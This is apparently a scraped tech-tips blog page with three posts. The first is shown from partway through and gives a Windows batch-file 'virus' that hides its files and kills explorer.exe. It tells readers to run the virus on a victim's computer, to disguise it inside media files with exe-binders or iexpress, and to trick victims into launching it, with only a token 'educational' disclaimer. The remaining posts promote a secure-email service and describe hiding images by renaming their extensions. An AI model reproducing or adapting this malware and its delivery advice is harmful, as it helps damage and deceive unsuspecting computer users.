    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r
    cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\
    attrib +h +s +r warnusr.vbs
    attrib +h +s +r sd.bat
    cd\
    cd %systemroot%\system32
    attrib +h +s +r 1001
    rem K1||5 th3 3xp|0r3r.3×3 Pr0c355
    taskkill /F /IM explorer.exe
    rem @ EOV // End of Virus

Copy the source code and paste it in a notepad, then save it with the .bat extension. Copy it in a Pen Drive, then execute it in the victims computer.

You can also use some exe-binders to bind this virus with any audio,video, text or what ever the files may be then use some social engineering technique to make the victim execute the file by himself to harm his computer.

You can create this virus with out using any third party tools in windows, also instead of exe-binder, you can use the iexpress wizard to create a custom package.

your Feedbacks are welcome….!

You can download this batch file here….
To rollback the changes that have been made by this virus, you can download the patch file here and execute it. Click here for Patch…

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The above virus was created by Technocrawl

/* Disclaimer : We are not responsible for whatever you do with this.This is published, only as a review for educational means */

Send secure Email the simplest way

2008-12-19T10:25:00.001+05:30

Have you ever wanted to send secure e-mail but dint know how to do so or use encryption keys.

Then say bye bye to the older methods of sending encrypted e-mail.Welcome Send.™. It doesn't require the use of encryption keys and other software's just a web browser will do.

Here is what they say about there service.

It's not that there aren't other secure methods to send an email… It's just that they're too hard to use.
We think everyone should be able to send a secure email…and we all have better things to do than spend an afternoon installing and configuring an encryption solution.
Before Send.™, the process of sending a secure email was complex as illustrated by the chart on the right:
But why subject yourself (and your recipients) to such an arduous process? And what happens if your recipients want you to use a different solution or the solution you used isn't compatible with their system?
Send.™ is Different…
We don't require you to maintain encryption keys.
Though we think the public/private key method works, we also think it was created for geek's and technicians.
Send.™ is compatible with all email solutions including web mail.
Anyone with a browser and an Internet connection can use Send.™ and, unlike other available solutions, Send.™ requires no software downloads or additional system configuration.
The service is easy to use.
We created Send.™ because the previous process for sending secure messages was too difficult. Our studies suggest that people will not send encrypted messages if the process is even marginally more difficult than normal. Simply put…security is important, but cannot impede productivity.
Send.™ is the only free and easy way to send a secure message.
You can read more here @about

If you are a new to all these then There must be certain questions floating in your head?

What is wrong with regular email?

With very few exceptions, email is both sent and stored in plain-text. This creates the potential of your email being read by a laptop thief, a hacker, or even a nosey IT professional. Sure, not every email you send contains sensitive information - and we don't encourage you to encrypt all of your email - but almost all of us from time to time need to send information that we need to make sure only the intended recipient is able to read… and that's where Send.™ comes in handy.

Why should I encrypt my email?

Anytime your email contains sensitive information your message should be encrypted. Some examples are:
Passwords / Social Security numbers
Financial Documents / Tax Returns
Proprietary Information
Designs & Strategic Plans
Wills & Testamentary Documents
Bank Account numbers, etc.
Additionally, local and federal governments are enacting consumer protection laws that require encrypted email communication with clients and customers. Some professional industries are specifically prohibited by law from sending confidential information over unencrypted email (Banks, Physicians, etc.)

Who can read the message once it is encrypted?

Once encrypted, only one person can read the message - your intended recipient. Even after the message is received by the intended recipient, the message is still secure. No other user of Send.™ can read the message. If the message is forwarded to another email address (or intercepted in transit) - only the original intended recipient can read it.

To send an e-mail click here

To see more Frequently Asked Questions click here

To see there about me page click here

Hide your important images with dos

2008-12-18T22:43:00.001+05:30

So you have a image precious image stored up in your computer and want to hide it from others then you might just like our way of hiding files using the dos only.

Requirements.

A image file.
A good text editor (notepad will do)
Dos

What it does

This trick will convert an image file into an not understandable file See the image for more details

BEFORE HIDING AFTER HIDING

How to do it.

If you have read my article of hiding your documents using notepad then,this trick will be easy to follow.In this article I will be showing you,how to hide images in a txt format or any other format and make the image undetectable. Are you ready - Let's begin.

first move your images to c drive.[Create a backup of your image i will not be responsible if it is lost.]
Click on start then on run then type cmd
now type cd\ [press enter]
now take note of your image name and extension lets say techgeektricks.jpj
now under cmd - command prompt
type

ren techgeektricks.jpj techgeektricksjpj.txt

[press enter]

Ren command on command prompt is used for renaming the files.Here techgeektricks in the file name
and jpj/txt is it's extension. I have named the out put file as techgeektricksjpj so that while converting it back to image format it becomes easy.

Now go to the location where your image was located and try to view it.You will notice that the image has changed into a text file.

To get your image back is simple just go to ms dos prompt go to c drive an then type ren techgeektricksjpj.txt techgeektricks.jpj

Where to use it?

You can use it to send images to your friends computer hiding it from spying eyes or you can just keep it in your computer I bet no one will ever find out what is inside those text files unless you tell them it is an image or so.

Extra notes.

You can change the .txt extension to .mp3 or any other extension.

If you change the code or fiddle with the code which you get when the image is changed to .txt extension then the image will be lost forever.So be careful

If you want to send the image hidden as .txt file then you must attach the file itself if you give your friend the code (i.e .txt code) It will not work.